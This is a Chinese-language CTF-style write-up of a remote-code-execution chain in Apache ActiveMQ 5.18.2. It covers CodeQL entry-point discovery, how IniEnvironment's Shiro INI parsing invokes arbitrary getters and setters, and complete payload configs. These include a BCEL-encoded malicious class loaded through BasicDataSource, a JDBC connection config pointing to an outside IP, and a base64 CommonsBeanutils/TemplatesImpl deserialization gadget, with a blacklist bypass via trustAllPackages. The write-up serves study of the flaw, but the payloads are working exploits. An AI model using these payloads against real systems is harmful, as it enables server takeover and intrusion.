介绍
这个漏洞的情景来源如下:
分析
寻找入口点
首先 codeql
搜索一波,寻找构造方法为单个 String
的类:
注意要用 jdk11
编译。
git clone https://github.com/apache/activemq
git checkout 9cbf58d7bd420424004ae73659527747f9135676
codeql database create activemq-5.18.2-db --language="java" --command="mvn clean install -Dmaven.test.skip=true --file pom.xml" --source-root=activemq
import java
from Constructor c
where c.getParameterType(0).hasName("String")
and c.getNumberOfParameters() = 1
and c.fromSource()
select c, c.getParameterType(0)
这里筛选出来了几个可疑点:
org.apache.activemq.shiro.env.IniEnvironment
org.apache.activemq.junit.EmbeddedActiveMQBroker
org.apache.activemq.pool.PooledConnectionFactory
很可惜当时在比赛的时候就不知道继续怎么往下了,看了看这几个函数不知道怎么利用。
后来在 CTFCON
上学习了 yemoli
师傅分析的思路,果然就是入口点就为上面之一的 IniEnvironment
。
IniEnvironment的分析
这里 iniConfig
是传入一段 shiro
的配置文件内容,然后在这个构造方法中就会对其进行解析。
先了解一下 Shiro
配置文件的格式:
https://shiro.apache.org/configuration.html
一个 [...]
对应一个 Section
。
每个 Section
内的配置格式如下:
首先要声明需要赋值的对象的类型。
别名=全类名
赋值方式如下:
别名.属性名=所要赋的值
如果要赋值的属性是引用类型,那么也要单独声明类型。
[main]
user=com.just.User
info=com.just.Info
user.info=$info
user.info.username=anchor
user.info.password=123456
package com.just;
public class User {
private Info info;
public Info getInfo() {
return info;
}
public void setInfo(Info info) {
this.info = info;
}
}
package com.just;
public class Info {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
根据官方文档可知,Shiro
解析配置文件是通过调用其 getter/setter
方法来赋值的。例如 user.info.username=anchor
,等价于调用 user.getInfo().setUsername("anchor")
。
那么这里通过 new IniEnvironment(xxx)
,我们可以调用任意类的 getter/setter
方法,那就很容易知道该如何 RCE
了。并且可以发现这里调用 getter/setter
方法并不依赖某个类是否有对应的属性名,只是看方法名是否形如 setXxx
,getXxx
。即使 user.info
中 user
没有 info
属性,但是不影响其会调用 user.getInfo()
方法。
getter/setter RCE的链子
这里 yemoli
师傅分享了几个 activemq
环境下可利用的链子。
org.apache.commons.dbcp2.BasicDataSource#getConnection()
触发BCEL加载恶意字节码
在数据库 getConnection()
的时候,如果 BasicDataSource
的 driverClassLoader
属性不为 null
,那么就会用其 driverClassLoader
去加载其 driverClass
对应的类名。这里可以通过 bcel
来 RCE
。
最后一步的目的就是触发 getConnection()
。
[main]
bds = org.apache.commons.dbcp2.BasicDataSource
bds.driverClassLoader = com.sun.org.apache.bcel.internal.util.ClassLoader
bds.driverClassName = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$9b$a4q$ec$3a$e4$a3$cd$H$e5$a3$a4$z$8d$d3$D$bepK$c4$F$b5R$85$a1$88T$a9zt$96m$b2$c1$b1$pg$d3$e6$lq$ce$F$QH$ed$9d$l$85$985Q$I$w$96$3c$b3$f3$e6$cd$9b$e7$f5$cf_$dfo$B$bc$84c$c1D$dd$c2C$ec$e4$f0H$e7$c7$G$9e$Yxj$n$8b$5d$D$cf$M4$Y$b2$j$ZJ$f5$8a$n$ed$b4z$M$99$d7$d1G$c1P$f0d$u$de$cd$c6$7d$R$9f$fb$fd$80$90$b2$Xq$3f$e8$f9$b1$d4$f5$S$cc$a8$a1$9cj6$8f$c6$eeh6U$ee$f1$b5$M$da$M$b9$O$P$96$ba$8cx$Vo$e4_$fb$ae$8c$dc$d3$b3$e39$X$T$r$a3$90h$f9$ae$f2$f9$a7$b7$fe$q$d1$pw$MV7$9a$c5$5c$9cH$adoj$b9$Xz$d6$86$85M$D$7b6$f6q$40$8b$c9$L$b7$f1$i$87$M$5b$ff$d1f$d8I$d0$c0$P$H$ee$87Y$a8$e4X$ac$9aZ$abI$cb$ff1$cdP$fc$3bq$d6$l$J$ae$YJ$f7D$c8$e0$40$a8UQqZ$de$3d$O$7dXF$cc$Fgh$3ak$dd$ae$8ae8h$af$P$bc$8f$p$$$a6S$g$a8$af3$cf$87qt$a3o$a4$dd$ea$a1$81$i$fdG$fd$a4$c0$f4$zP$b4$a9r$v3$ca$hG_$c1$WI$3bO1$fb$H$c4$D$8a$f6$f2$5c$40$91r$O$a5$d5$f0$V$d2I$af$f6$N$a9r$fa$L2$X$9f$91$7f$f3$D$d9KR3$ee$WI$d3$q$ea$G$R$b5l$95NH$9cl$Sj$Sf$Rf$af$d6$e4$J$xc$8b$aamz$N$a4$3c$D$V$93$g$d5$c4Y$ed7f9$e8t$96$C$A$A"
bds.connection.a = a
触发JDBC连接
这里我想到用 getConnection
触发 JDBC
连接,可惜 activemq
的环境没有数据库依赖,打不了 JDBC
。
[main]
datasource=org.apache.commons.dbcp2.BasicDataSource
datasource.url=jdbc:mysql://47.113.104.49:3306/db1
datasource.password=x
datasource.username=x
datasource.driverClassName=com.mysql.cj.jdbc.Driver
datasource.connection.x=x
org.apache.activemq.command.ActiveMQObjectMessage#getObject()
这个是 yemoli
师傅提到的高版本的利用方法。前面可用的 bcel
只能打低版本 jdk
。
这里在 org.apache.activemq.command.ActiveMQObjectMessage#getObject()
方法中存在反序列化漏洞,结合观察 activemq
的依赖存在低版本的 cb
组件,可以打反序列化漏洞。这里可以思考一下如何触发这里的反序列化漏洞。
这里反序列化的数据从自己的 content
属性中获取。
由于 content
是引用类型,其封装了要反序列化的字节数据,所以这里要接着构造 content
参数的内容,这里根据官方文档可知,字节类型的属性可以通过 base64
来赋值或者十六编码来赋值。(这点实在太人性化了!)
然后需要注意的就是修改 trustAllPackages
,不然会由于 activemq
默认存在反序列化黑名单,无法反序列化 cb
链导致失败。
[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==
bs.length = 1376
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x